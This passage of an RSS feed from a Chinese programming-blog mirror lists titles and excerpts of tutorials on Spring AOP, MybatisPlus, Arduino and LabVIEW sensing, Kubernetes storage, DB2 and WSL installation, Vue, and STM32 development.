      <description>spring boot整合AOP实现日志功能 AOP简介 AOP (Aspect Oriented Programing) 面向切面编程 = Spring动态代理开发&#xA;以切面为基本单位的程序开发，通过切面间的彼此协同，相互调用，完成程序的构建&#xA;切面 = 切入点 + 额外功能&#xA;OOP (Object Oritened Programing) 面向对象编程 Java&#xA;以对象为基本单位的程序开发，通过对象间的彼此协同，相互调用，完成程序的构建&#xA;POP (Producer Oriented Programing) 面向过程(方法、函数)编程 C&#xA;以过程为基本单位的程序开发，通过过程间的彼此协同，相互调用，完成程序的构建&#xA;AOP的概念 AOP的概念：&#xA;本质就是Spring得动态代理开发，通过代理类为原始类增加额外功能。&#xA;好处：利于原始类的维护&#xA;注意：AOP编程不可能取代OOP，OOP编程有意补充。&#xA;结合AOP，实现日志功能 参考ruoyi&#xA;注解类 package indi.yuluo.xojbackgroundmanagmentsystem.annotation; import indi.yuluo.xojbackgroundmanagmentsystem.Enum.BusinessType; import java.lang.annotation.*; /** * @Author: yuluo * @CreateTime: 2022-10-01 17:21 * @Description: TODO */ @Target({ ElementType.PARAMETER, ElementType.METHOD, ElementType.TYPE }) // 注解放置的目标位置,PARAMETER: 可用在参数上 METHOD：可用在方法级别上 @Retention(RetentionPolicy.RUNTIME) // 指明修饰的注解的生存周期 RUNTIME：运行级别保留 @Documented public @interface Log { /** * 模块 */ String title() default &#34;</description>
    </item>
    <item>
      <title>【MybatisPlus】MP的分页查询、多条件查询以及查询过程中解决null的空值判定</title>
      <link>https://bchobby.github.io/posts/9f6de554ff62399ad38e8b01fcb8b7b3/</link>
      <pubDate>Wed, 05 Oct 2022 13:38:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f6de554ff62399ad38e8b01fcb8b7b3/</guid>
      <description>文章目录 前言一.分页处理1.调用方法传入参数获取返回值2.设置分页拦截器 二.条件查询2.1通过QueryWrapper对象来执行分页查询2.2在QueryWrapper对象的基础上使用lambda表达式2.3直接通过LambdaQueryWrapper对象 三.多条件查询3.1且的情况3.2或的情况 四.null判定 前言 MP这样一款强大的持久层框架处理起来复杂的SQL来也是得心应手，效率极高，快快与我一同领略Plus的独特魅力吧&#xA;一.分页处理 1.调用方法传入参数获取返回值 创建IPage分页对象,设置分页参数,1为当前页码，3为每页显示的记录数，执行分页查询并获取其结果&#xA;@SpringBootTest class Mybatisplus{ @Autowired private UserDao userDao; //分页查询 @Test void testSelectPage(){ IPage&amp;lt;User&amp;gt; page=new Page&amp;lt;&amp;gt;(1,3); userDao.selectPage(page,null); System.out.println(&#34;当前页码值：&#34;+page.getCurrent()); System.out.println(&#34;每页显示数：&#34;+page.getSize()); System.out.println(&#34;一共多少页：&#34;+page.getPages()); System.out.println(&#34;一共多少条数据：&#34;+page.getTotal()); System.out.println(&#34;数据：&#34;+page.getRecords()); } } 2.设置分页拦截器 将MP提供的分页拦截器配置成Spring管理的bean对象&#xA;@Configuration public class MybatisPlusConfig { @Bean public MybatisPlusInterceptor mybatisPlusInterceptor(){ //1 创建MybatisPlusInterceptor拦截器对象 MybatisPlusInterceptor mpInterceptor=new MybatisPlusInterceptor(); //2 添加分页拦截器 mpInterceptor.addInnerInterceptor(new PaginationInnerInterceptor()); return mpInterceptor; } } 查询结果如下：&#xA;MP有多智能，他给我们提供的方法功能太强大，以至于我们只需传入两个对象即可自动完成分页查询&#xA;二.条件查询 2.1通过QueryWrapper对象来执行分页查询 @SpringBootTest class Mybatisplus{ @Autowired private UserDao userDao; @Test void testGetAll(){ QueryWrapper qw = new QueryWrapper(); qw.</description>
    </item>
    <item>
      <title>单片机温湿度测量程序编程</title>
      <link>https://bchobby.github.io/posts/f76e9aeaae98a9de1965ccaecb3675d2/</link>
      <pubDate>Tue, 04 Oct 2022 16:59:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f76e9aeaae98a9de1965ccaecb3675d2/</guid>
      <description>CSDN话题挑战赛第2期&#xA;参赛话题：学习笔记&#xA;学习之路，长路漫漫，写学习笔记的过程就是把知识讲给自己听的过程。这个过程中，我们去记录思考的过程，便于日后复习，梳理自己的思路。学习之乐，独乐乐，不如众乐乐，把知识讲给更多的人听，何乐而不为呢?&#xA;博客写作背景----项目中解决的问题&#xA;公司有一个使用单片机多路采集温湿度的项目，还需要在上位机进行波形的查看，信号算法的处理，初步定为使用labview编写上位机程序进行处理。为啥用labview呢，因为LabVIEW是美国国家仪器公司（NI）的创新软件产品，其全称是实验室虚拟仪器工程平台（Laboratory Virtual Instrument Engineering Workbench），是一种基于G语言（Graphics Language，图形化编程语言）的测试系统软件开发平台。LabVIEW并不局限于虚拟仪器的开发，它的作用是为大型复杂测试系统提供通用的软件开发平台。目前，LabVIEW已经成为测试领域应用最广泛和最有前途的软件开发平台之一。&#xA;下面是我最近写程序的一些知识，进行了部分的整理，发出来和大家一起分享，也方便我以后查找自己的编程过程。&#xA;编程知识点–基于labview的温湿度测量&#xA;在多数情况下，测量温度的同时需要测量湿度，本节将介绍使用DHT11温湿度传感器、Arduino Uno和LabVIEW组成温湿度测量系统，可用于粮仓等场合的温湿度监控。&#xA;温湿度测量系统框图如图所示&#xA;在整个系统中，Arduino Uno作为下位机，负责DHT11的读写以及数据传输；LabVIEW编写的显示软件作为上位机；上下位机利用USB-TTL接口实现通信。&#xA;DHT11数字温湿度传感器，是一款含有已校准数字信号输出的温湿度复合传感器，采用专用的数字模块采集技术和温湿度传感技术，具有极高的可靠性与卓越的长期稳定性，内部包含一个电阻式感湿元件和一个NTC测温元件。DHT11传感器都经过实验室校准，校准系数以程序的形式储存在OTP内存中，传感器内部在检测信号的处理过程中要调用这些校准系数。采用单线制串行接口，超小的体积、极低的功耗，使系统集成变得简易快捷，信号传输距离可达20米以上&#xA;DHT11的供电电压为3.3～5V，测量范围为湿度20%～90%RH，温度0～50℃，测量精度为湿度±5%RH，温度±2℃，测量分辨率为湿度1%RH，温度1℃。需要注意的是，DHT11传感器上电之后，要等待1s以越过不稳定状态，在此期间无需发送任何指令。电源引脚（VCC，GND）之间可增加一个100nF的电容，用以去耦滤波。引脚说明如表所示DOUT用于微处理器与DHT11之间的通信和同步，采用单总线数据格式，一次通信时间4ms左右。主机发送一次开始信号后，DHT11从低功耗模式转换到高速模式，等待主机开始信号结束后，DHT11发送响应信号，送出40bit的数据，并触发一次信号采集，主机可选择读取部分数据。在高速模式下，DHT11接收到开始信号即触发一次温湿度采集，如果没有接收到主机发送的开始信号，DHT11不会主动进行温湿度采集。&#xA;DHT11的Arduino库文件下载地址为：https://github.com/markruys/arduino-DHT。DHT11库文件有3个函数：dht.setup（int Pin）、dht.getHumidity()、dht.getTemperature()。&#xA;❑dht.setup(int Pin)：设置DHT11总线的连接管脚号，输入参数为所连接的管脚号，无返回参数。&#xA;❑dht.getHumidity()：获取DHT11的湿度值，无输入参数，返回值为湿度值，double类型。&#xA;❑dht.getTemperature()：获取DHT11的温度值，无输入参数，返回值为温度值，double类型。&#xA;如果使用的是DHT11模块，则将DHT11温湿度模块的VCC、GND、DOUT引脚分别接至Arduino Uno控制板上的+5V、GND、数字端口2。&#xA;如果使用的是DHT11传感器，则还需要在DOUT与VCC之间串联5kΩ的上拉电阻。温湿度测量系统硬件连接&#xA;LabVIEW上位机部分需要完成以下功能：&#xA;1）向下位机Arduino控制器发送温度采集命令，Arduino控制器通过串口接收上位机命令，完成温度数据的采集之后将数据回传，LabVIEW软件将回传的温度数据显示在前面板上；&#xA;2）向下位机Arduino控制器发送湿度采集命令，Arduino控制器通过串口接收上位机命令，完成湿度数据的采集之后将数据回传，LabVIEW软件将回传的湿度数据显示在前面板上。&#xA;LabVIEW上位机主程序的结构为顺序结构+While循环。首先，在顺序结构中的第一帧中，通过设置的串口号来初始化串口通信。然后，程序进入While循环和顺序结构，依次向Arduino Uno控制器发送温度和湿度测量的命令码，接收到返回的温度和湿度数据之后，显示在前面板上。最后，关闭串口通信。&#xA;为了保证通信的正确性，在数据帧中设置0x55和0xAA为校验帧，0x11为温度采集命令码，0x10为湿度采集命令码。LabVIEW上位机程序框图如图&#xA;通过USB电缆连接Arduino Uno控制器与计算机，使用高温烘烤DHT11温湿度传感器和向DHT11温湿度传感器的测试窗吹气，得到如图所示的测量结果。</description>
    </item>
    <item>
      <title>分享 | 一份小小的信念</title>
      <link>https://bchobby.github.io/posts/244c6ce1e6b3e2b031e423f97b10705c/</link>
      <pubDate>Tue, 04 Oct 2022 13:00:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/244c6ce1e6b3e2b031e423f97b10705c/</guid>
      <description> 写在前面：&#xA;7月末的时候整理了一次关于解忧和有间杂货店的故事，想把这个故事分享给更多的人~每次心情低落的时候，都会去翻一翻有间公众号里的文章，期待他们的APP和店铺可以再次上线~像是心里一份渺小又强大的信念感，当不开心走进解忧杂货店，遇到的是“浅浅的温暖”~“世界是需要我们的”，希望我们可以成为带来温暖与被温暖的人！ </description>
    </item>
    <item>
      <title>二分查找-JS</title>
      <link>https://bchobby.github.io/posts/91449b233b78c731eeded9e473e0dffc/</link>
      <pubDate>Tue, 04 Oct 2022 10:28:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91449b233b78c731eeded9e473e0dffc/</guid>
      <description>二分查找-JS 题目 题解 /** * 代码中的类名、方法名、参数名已经指定，请勿修改，直接返回方法规定的值即可 * * * @param nums int整型一维数组 * @param target int整型 * @return int整型 */ function search(nums, target) { // write code here let low = 0, high = nums.length - 1; //当数组为空时 if(nums.length == 0){ return -1 } while (low &amp;lt;= high) { let mid = Math.floor((low + high) / 2); if (nums[mid] == target) { return mid; } else if (nums[mid] &amp;gt; target) { high = mid-1; } else if (nums[mid] &amp;lt; target) { low = mid+1; } } return -1; } module.</description>
    </item>
    <item>
      <title>leetcode练习笔记2022年9月</title>
      <link>https://bchobby.github.io/posts/3ba27d171d9c93da089cfc6613c769fa/</link>
      <pubDate>Mon, 03 Oct 2022 14:13:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ba27d171d9c93da089cfc6613c769fa/</guid>
      <description>C语言常用函数库： 快速排序&#xA;&amp;lt;stdlib&amp;gt;: qsort 补充使用简介：&#xA;https://blog.csdn.net/ZDDWLIG/article/details/120209948&#xA;具体如下&#xA;普通数组二维数组二维指针数组 #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; int cmp1(const void*a, const void*b) { return (*((int*)a) - *((int*)b)); } int cmp2(const void*a, const void*b) { int *ax = (int*)a; int *bx = (int*)b; if(ax[0] != bx[0]) { return (ax[0] - bx[0]); } return (ax[1] - bx[1]); } int cmp3(const void*a, const void*b) { int *ax = *(int**)a; int *bx = *(int**)b; if(ax[0] != bx[0]) { return (ax[0] - bx[0]); } return (ax[1] - bx[1]); } int main() { printf(&#34;</description>
    </item>
    <item>
      <title>K8S(kubernetes)学习（四）：K8S之Storage</title>
      <link>https://bchobby.github.io/posts/d9af71ab0d6db212886a9c36550f3fcf/</link>
      <pubDate>Mon, 03 Oct 2022 12:26:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9af71ab0d6db212886a9c36550f3fcf/</guid>
      <description>kubernetes使用NFS共享存储有两种方式：&#xA;（1）手动方式静态创建所需要的PV和PVC（见本文1.3.2小节）。（2）通过创建PVC动态地申请PV（见本文1.4.2小节）。 一、Storage（/ˈstɔːrɪdʒ/） Volume地址：https://kubernetes.io/docs/concepts/storage/&#xA;1.1、Volume 1.1.1、Volume简介 volume（/ˈvɒljuːm/，IT词汇–百度百科）： 在电脑中， volume（文件集）是一个可辨认的数据存储（storage）单元。&#xA;Volume地址：https://kubernetes.io/docs/concepts/storage/volumes/&#xA;容器中的磁盘文件是临时的，这对于在容器中运行的非平凡（重大）应用程序会带来一些问题：&#xA;（1）容器崩溃时文件丢失。（2）Kubelet重新启动容器后为clean状态。 在Pod中一起运行的容器之间共享文件时，会出现第二个问题。&#xA;Kubernetes的Volume抽象地解决了这两个问题。&#xA;1.2.1、Host类型volume实战 思路： 查看volume挂载目录是否同步。&#xA;定义一个Pod，其中包含两个Container，都使用Pod的Volume。&#xA;（1）创建volume-pod.yaml 创建volume-pod.yaml：&#xA;[root@m test]# mkdir volume [root@m test]# cd volume [root@m volume]# vi volume-pod.yaml 内容：&#xA;apiVersion: v1 kind: Pod metadata: name: volume-pod spec: containers: - name: nginx-container image: nginx ports: - containerPort: 80 volumeMounts: - name: volume-pod mountPath: /nginx-volume - name: busybox-container image: busybox command: [&#39;sh&#39;, &#39;-c&#39;, &#39;echo The app is running!</description>
    </item>
    <item>
      <title>Caused by: java.net.BindException: Address already in use: bind</title>
      <link>https://bchobby.github.io/posts/96153c801b73dccbca48a8ba7aefdff7/</link>
      <pubDate>Sun, 02 Oct 2022 18:27:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96153c801b73dccbca48a8ba7aefdff7/</guid>
      <description>地址已经在使用:bind&#xA;端口已经被使用，看看使用的是哪个端口，如果是80端口，&#xA;使用cmd命令打开dos窗口运行netstat -ano|findstr 端口号 查看占用端口号的进程&#xA;使用taskkill -f -pid 进程id 结束该进程&#xA;如果出现拒绝访问无法终止进程，说明是权限不够，右键开始菜单打开搜索或者使用快捷键win+s打开搜索，输入cmd点击以管理员身份运行&#xA;再使用taskkill -f -pid 进程id 结束该进程就可以了。</description>
    </item>
    <item>
      <title>Caused by: com.mysql.jdbc.exceptions.jdbc4.MySQLIntegrityConstraintViolationException:Duplicate entr</title>
      <link>https://bchobby.github.io/posts/d0750172328626cbcf6cda5e24b2dc43/</link>
      <pubDate>Sun, 02 Oct 2022 18:04:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0750172328626cbcf6cda5e24b2dc43/</guid>
      <description>键“PRIMARY”的重复条目“1-1”&#xA;因为有两个主键，不能出现两个主键重复值。批量添加的话要先删除旧值</description>
    </item>
    <item>
      <title>vue实战-产品详情页（轮播图、放大镜）</title>
      <link>https://bchobby.github.io/posts/b964e69dc08c9aac7a2610acfefbdd7c/</link>
      <pubDate>Sun, 02 Oct 2022 17:30:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b964e69dc08c9aac7a2610acfefbdd7c/</guid>
      <description>vue实战-产品详情页（轮播图、放大镜） 1.添加产品详情页的静态组件 因为它是路由组件，将其放入pages文件夹下。&#xA;注册路由组件&#xA;1）router中添加Detail的路由。&#xA;{ path:&#39;/detail/:skuid&#39;, component:Detail, meta:{show:true} }, 2）在Search页面处的产品点击跳转处，设置声明式导航跳转&#xA;&amp;lt;router-link :to=&#34;`/detail/${good.id}`&#34;&amp;gt; &amp;lt;img :src=&#34;good.defaultImg&#34; /&amp;gt; &amp;lt;/router-link&amp;gt; 2.设置详情页的api接口 在文件夹api下的接口统一管理中添加获得接口数据的函数reqDetailInfo，&#xA;需要传入产品的ID&#xA;// /api/item/{ skuId } export const reqDetailInfo = (skuId) =&amp;gt;{ return requests({url:`/item/${skuId}`,method:&#39;get&#39;}) } 3.创建关于产品详情的仓库（vuex) 在文件夹store下&#xA;import { reqDetailInfo } from &#34;@/api&#34; const state = { detailList:{} } const mutations = { GETDETAILLIST(state,detailList){ state.detailList = detailList } } const actions = { async getDetailList({commit},skuid){ let result = await reqDetailInfo(skuid) if(result.code==200){ commit(&#39;GETDETAILLIST&#39;,result.</description>
    </item>
    <item>
      <title>DB2在Linux下静默安装</title>
      <link>https://bchobby.github.io/posts/7836b4aecd9b8e995b7b924e7366f1c4/</link>
      <pubDate>Sun, 02 Oct 2022 16:42:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7836b4aecd9b8e995b7b924e7366f1c4/</guid>
      <description>目录 前言1. 下载并上传db2压缩包到Linux2. 检测db2安装环境3. 安装db2数据库软件4. 配置db2数据库系统用户5. 创建数据库实例6. 配置TCP/IP通信服务7. 配置数据库8. 启动和关闭数据库实例9. 修改权限10 数据库客户端和工具链接11. 创建数据库多实例 前言 db2是IBM公司开发的一款重型数据库，和oracle数据库差不多，但就整体安装来看比Oracle安装要简单得多，本此安装db2的Linux环境是Redhat Enterprise Linux 8.6（没有安装图形化界面，所以全程安装都是敲命令，大多数程序员都喜欢的一种安装方式）,db2的版本是V10.5（当前最新的版本是V11）,下面就开始。&#xA;1. 下载并上传db2压缩包到Linux db2下载地址&#xA;执行tar -zxvf v10.5_linuxx64_expc.tar.gz解压&#xA;IBM官网下载需要注册IBM账号，但是现在即使注册了，再点击下载链接时会重定向跳转，然后就没有然后了，进入不了下载页面，所以在这里提供db2下载（百度网盘保存的），将下载好的压缩包上传到Linux，我习惯上传到/usr/local/src目录下（上传的目录可以根据自己的喜好存放在哪里，这里没有特殊要求）&#xA;2. 检测db2安装环境 cd /usr/loca/src/expc目录下，执行 ./db2prereqcheck命令检查db2安装环境&#xA;（1）修复找不到libpam.so* yum install pam-devel.i686 （2）修复libstdc++.so.5（我这里就不修复了，这个不修复对使用DB2没有影响） （3）禁用SELinux vim /etc/selinux/config文件，修改SELinux=disabled （4）关闭防火墙服务并关闭随开机启动 systemctl stop firewalld systemctl disable firewalld 做完以上操作最好执行下init 0(或是reboot)重启下Linux系统.&#x9;3. 安装db2数据库软件 cd /usr/local/src/expc目录下执行 ./db2_install 安装数据库程序 输入yes,回车 最后出现如下图所示表示db2安装成功 4. 配置db2数据库系统用户 groupadd db2adm1 groupadd db2fen1 useradd -d /home/db2inst1 -m db2inst1 -g db2adm1 chown -R db2inst1 /home/db2inst1/ useradd -d /home/db2fenc1 -m db2fenc1 -g db2fen1 chown -R db2fenc1 /home/db2fenc1/ passwd db2inst1 passwd db2fenc1 这里密码都设置成123456 5.</description>
    </item>
    <item>
      <title>WSL2安装教程</title>
      <link>https://bchobby.github.io/posts/1e6cc953b8440c63d8a0b2514b3ca675/</link>
      <pubDate>Sun, 02 Oct 2022 15:52:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e6cc953b8440c63d8a0b2514b3ca675/</guid>
      <description>文章目录 前言安装WSL2简单配置WSL2WSL2与Window交互 前言 适用于 Linux 的 Windows 子系统可让开发人员按原样运行 GNU/Linux 环境 - 包括大多数命令行工具、实用工具和应用程序 - 且不会产生传统虚拟机或双启动设置开销。&#xA;您可以：&#xA;在 Microsoft Store 中选择你偏好的 GNU/Linux 分发版。运行常用的命令行软件工具（例如 grep、sed、awk）或其他 ELF-64 二进制文件。运行 Bash shell 脚本和 GNU/Linux 命令行应用程序，包括：工具：vim、emacs、tmux语言：NodeJS、Javascript、Python、Ruby、C/C++、C# 与 F#、Rust、Go 等服务：SSHD、MySQL、Apache、lighttpd、MongoDB、PostgreSQL。使用自己的 GNU/Linux 分发包管理器安装其他软件。使用类似于 Unix 的命令行 shell 调用 Windows 应用程序。在 Windows 上调用 GNU/Linux 应用程序。运行直接集成到 Windows 桌面的 GNU/Linux 图形应用程序将 GPU 加速用于机器学习、数据科学场景等 WSL1 VS WSL2&#xA;引用资料：https://learn.microsoft.com/zh-cn/windows/wsl/about&#xA;安装WSL2 1.检测电脑win的版本&#xA;win+r在框中输入winver查看当前的版本&#xA;2.开发者选项&#xA;3.打开适用于linux的windows子系统的设置（注意：这里设置完成后需要重启一下电脑）&#xA;4.在cmd黑窗口下分别输入以下命令&#xA;wsl -l -v dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart dism.</description>
    </item>
    <item>
      <title>Window10 安装Linux子系统</title>
      <link>https://bchobby.github.io/posts/8ea010a7a4f358230ec26d153789259b/</link>
      <pubDate>Sun, 02 Oct 2022 15:31:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ea010a7a4f358230ec26d153789259b/</guid>
      <description>为Window10 安装Linux子系统 WSL是win10 的Linux的子系统，相比虚拟机有更多的优势，对系统资源占用少，切换系统之间较为的方便。&#xA;安装步骤：&#xA;安装WSL要求Win10系统在1607版本以上，查看自己的版本是否符合要求&#xA;开启Linux子系统，控制面板&amp;gt;程序和功能&amp;gt;启用或关闭windows功能&amp;gt;勾选 适用于linux子系统&#xA;重启电脑&#xA;打开应用商城搜索&#34;WSL&#34;,根据自己需求选择linux系统安装&#xA;配置linux&#xA;移动WSL的家目录位置&#xA;忘记用户密码怎么办?&#xA;下面为详细步骤&#xA;1. 查看系统版本 image-20210401113039929&#xA;一般系统版本都会符合安装要求&#xA;2. 开启Linux子系统 image-20210401113316251&#xA;控制面板&amp;gt;程序和功能&amp;gt;启用或关闭windows功能&amp;gt;勾选 适用于linux子系统&#xA;3. 重启电脑 勾选完确定后，系统会提示重启&#xA;4. 应用商城搜索&#34;WSL&#34;,选择安装linux系统 image-20210401113605980&#xA;5. 配置linux 配置好看的终端&#xA;下载地址：https://github.com/felixse/FluentTerminal/releases&#xA;下载FluentTerminal.Package_0.7.5.0.zip,解压后，右键以powershell运行，根据提示安装&#xA;更换镜像源&#xA;镜像网址：https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/&#xA;# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.</description>
    </item>
    <item>
      <title>拖拽插件—— sortableJs</title>
      <link>https://bchobby.github.io/posts/cd2a8dd35fcbccc1c978d2280c4e2ab5/</link>
      <pubDate>Sun, 02 Oct 2022 12:18:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd2a8dd35fcbccc1c978d2280c4e2ab5/</guid>
      <description>Sortable.js 是一款优秀的 js 拖拽库，支持ie9及以上版本ie浏览器和现代浏览器，也可以运行在移动触摸设备中。不依赖jQuery。支持 Meteor、AngularJS、React、Vue、Knockout框架和任何CSS库，如Bootstrap、Element UI。你可以用来拖拽div、table等元素。&#xA;Sortable.js 是基于 H5 的新特性 - 拖拽属性 来实现的。&#xA;sortable.js中文文档</description>
    </item>
    <item>
      <title>使用VSCode取代Keil实现STM32和51单片机的开发</title>
      <link>https://bchobby.github.io/posts/aa33873d9718f3d12ca06794e59d9961/</link>
      <pubDate>Sun, 02 Oct 2022 02:35:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa33873d9718f3d12ca06794e59d9961/</guid>
      <description> 使用Visual Studio Code开发STM32和51单片机，VS Code作为编辑器来开发嵌入式程序。&#xA;视频教程：https://www.bilibili.com/video/BV18e4y1H7xX/&#xA;VS Code简介 Visual Studio Code是是由微软研发的一个轻量级但功能强大的源代码编辑器，这个软件是免费开源的，可在您的桌面上运行，并且可用于Windows，macOS和Linux。它具有对JavaScript，TypeScript和Node.js的内置支持，并具有丰富的其他语言（例如C ++，C＃，Java，Python，PHP，Go）和运行时（例如.NET和Unity）扩展的生态系统。&#xA;如果你不喜欢Dev的开发界面，或是Visual Studio启动工程的缓慢，那么你应该尝试使用VScode来编写C/C++程序。因为它足够高效简洁且高效。&#xA;作为一个51单片机或STM32单片机的使用者，keil一直是我们的必备的一款工具之一。但kei的一些问题也一直存在，被人吐槽最多的就是编辑器功能单一、提示功能不强、对中文支持不友好。当然，还有一些爱美的朋友，说它界面丑陋。而VS Code作为一款微软出品的、界面友好的编辑器，一直深受程序员的喜爱。现在我们可以通过安装插件的方式，在VS Code上进行51或者STM32的开发。方法如下。&#xA;软件安装 需要先安装好Keil和VS Code，怎么安装就不讲了，自己百度一下。&#xA;VS Code官网：https://url.zeruns.tech/6y6RD&#xA;Keil5下载地址：https://url.zeruns.tech/usV3e&#xA;修改语言为中文 打开vscode点击左边的这个扩展的图标（下图所示），搜索栏输入Chinese，安装第一个扩展插件，安装完后重启vscode就变成中文了。&#xA;安装扩展插件 首先安装C/C++ Extension Pack扩展。&#xA;安装Keil Assistant扩展。&#xA;安装完后点击扩展设置&#xA;添加keil的可执行文件的路径，这里有两个路径，上面是C51的，下面是MDK的，你要填自己keil安装的目录，参考下图。我将C51和MDK安装到一起了，所以两个填同一个地址就行，如果是分开安装的就需要分开填。&#xA;到这设置就完成了，下面演示一下怎么使用。&#xA;用VSCode开发 首先需要用keil或stm32cubemx来新建一个工程项目，并把编译和调试下载的相关设置设置好。&#xA;接着用vscode打开项目文件夹。&#xA;接着就可以用vscode来开发stm32了，下图所示的是编译和下载的按钮。&#xA;点击这个编译按钮，vscode就会调用keil来完成编译。&#xA;点击下载按钮，编译好的程序就会被下载到你的stm32单片机上。&#xA;51单片机同样也可以使用这种方式开发。&#xA;推荐阅读 高性价比和便宜的VPS/云服务器推荐: https://www.awsl9527.cn/archives/41.html使用NPS搭建内网穿透服务器，带Web面板：https://www.awsl9527.cn/archives/748.htmlLinux搭建网站教程，建站教程：https://www.awsl9527.cn/archives/1094.html我的世界服务器搭建教程：https://www.awsl9527.cn/archives/tag/minecraft基于STM32和HC-SR04模块实现超声波测距功能：https://blog.zeruns.tech/archives/680.htmlESP8266开发环境搭建及项目演示：https://blog.zeruns.tech/archives/526.html </description>
    </item>
    <item>
      <title>基于改进反电势模型的无感PMSM转子磁链定向控制仿真</title>
      <link>https://bchobby.github.io/posts/ae23c8929d4b657dfb50973dc24ff323/</link>
      <pubDate>Sat, 01 Oct 2022 23:15:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae23c8929d4b657dfb50973dc24ff323/</guid>
      <description>模型推导，以隐极式电机为例：&#xA;u α = R s i s α + L 1 d i s α d t + p ψ ⃗ f cos ⁡ θ r u β = R s i s β + L 1 d i s β d t + p ψ ⃗ f sin ⁡ θ r u ⃗ α β = R s i ⃗ s α β + L 1 p i ⃗ α β + p ψ ⃗ f p ψ ⃗ f = u ⃗ α β − R s i ⃗ s α β − L 1 p i ⃗ α β ψ ⃗ f = ψ f e j ω e t p ψ ⃗ f = d ψ f d t e j ω e t + j ω e ψ f e j ω e t d ψ f d t e j ω e t + j ω e ψ f e j ω e t = u ⃗ α β − R s i ⃗ s α β − L 1 p i ⃗ α β d ψ f d t + j ω e ψ f = ( u ⃗ α β − R s i ⃗ s α β − L 1 p i ⃗ α β ) e − j ω e t u_{\alpha}=R_si_{s\alpha}+L_1\frac{di_{s\alpha}}{dt}+p\vec{\psi}_f\cos \theta _r \\ u_{\beta}=R_si_{s\beta}+L_1\frac{di_{s\beta}}{dt}+p\vec{\psi}_f\sin \theta _r \\ \vec{u}_{\alpha \beta}=R_s\vec{i}_{s\alpha \beta}+L_1p\vec{i}_{\alpha \beta}+p\vec{\psi}_f \\ p\vec{\psi}_f=\vec{u}_{\alpha \beta}-R_s\vec{i}_{s\alpha \beta}-L_1p\vec{i}_{\alpha \beta} \\ \vec{\psi}_f=\psi _fe^{j\omega _et} \\ p\vec{\psi}_f=\frac{d\psi _f}{dt}e^{j\omega _et}+j\omega _e\psi _fe^{j\omega _et} \\ \frac{d\psi _f}{dt}e^{j\omega _et}+j\omega _e\psi _fe^{j\omega _et}=\vec{u}_{\alpha \beta}-R_s\vec{i}_{s\alpha \beta}-L_1p\vec{i}_{\alpha \beta} \\ \frac{d\psi _f}{dt}+j\omega _e\psi _f=\left( \vec{u}_{\alpha \beta}-R_s\vec{i}_{s\alpha \beta}-L_1p\vec{i}_{\alpha \beta} \right) e^{-j\omega _et} uα​=Rs​isα​+L1​dtdisα​​+pψ ​f​cosθr​uβ​=Rs​isβ​+L1​dtdisβ​​+pψ ​f​sinθr​u αβ​=Rs​i sαβ​+L1​pi αβ​+pψ ​f​pψ ​f​=u αβ​−Rs​i sαβ​−L1​pi αβ​ψ ​f​=ψf​ejωe​tpψ ​f​=dtdψf​​ejωe​t+jωe​ψf​ejωe​tdtdψf​​ejωe​t+jωe​ψf​ejωe​t=u αβ​−Rs​i sαβ​−L1​pi αβ​dtdψf​​+jωe​ψf​=(u αβ​−Rs​i sαβ​−L1​pi αβ​)e−jωe​t搭建仿真模型：</description>
    </item>
    <item>
      <title>STM32 | CubeIDE 配置Include路径</title>
      <link>https://bchobby.github.io/posts/9bd42afe865e59379d6013b3feb4b458/</link>
      <pubDate>Sat, 01 Oct 2022 20:11:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9bd42afe865e59379d6013b3feb4b458/</guid>
      <description>01.CubeIDE创建工程的结构目录 这个Matrix文件夹是我写代码的,c于.h文件&#xA;这样子在Cubeide 生成代码的时候，不会影响到自己编写的原有代码结构。&#xA;在这个时候需要关联Include才能正确识别；&#xA;02.创建连接 点击工程选择Properties&#xA;点击C/C++ Build&#xA;点击Paths and Symbols&#xA;Include选项卡中添加 ADD，你要包含的文件夹&#xA;如在Workspace中则对应点击，如在系统文件中则对应点击FileSystem&#xA;然后添加Source Location&#xA;依然选择对应的路径，我这里选择的是在Core/matrix，这是我存放我的代码的路径&#xA;至此，头文件与自己的文件路径就配置完成了，在编译的时候也不会报错。&#xA;菜鸟上路，欢迎指正！</description>
    </item>
    <item>
      <title>CentOS 如何更改SSH端口的方法</title>
      <link>https://bchobby.github.io/posts/cddb07f9d460ced3886afcb038b55977/</link>
      <pubDate>Sat, 01 Oct 2022 10:37:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cddb07f9d460ced3886afcb038b55977/</guid>
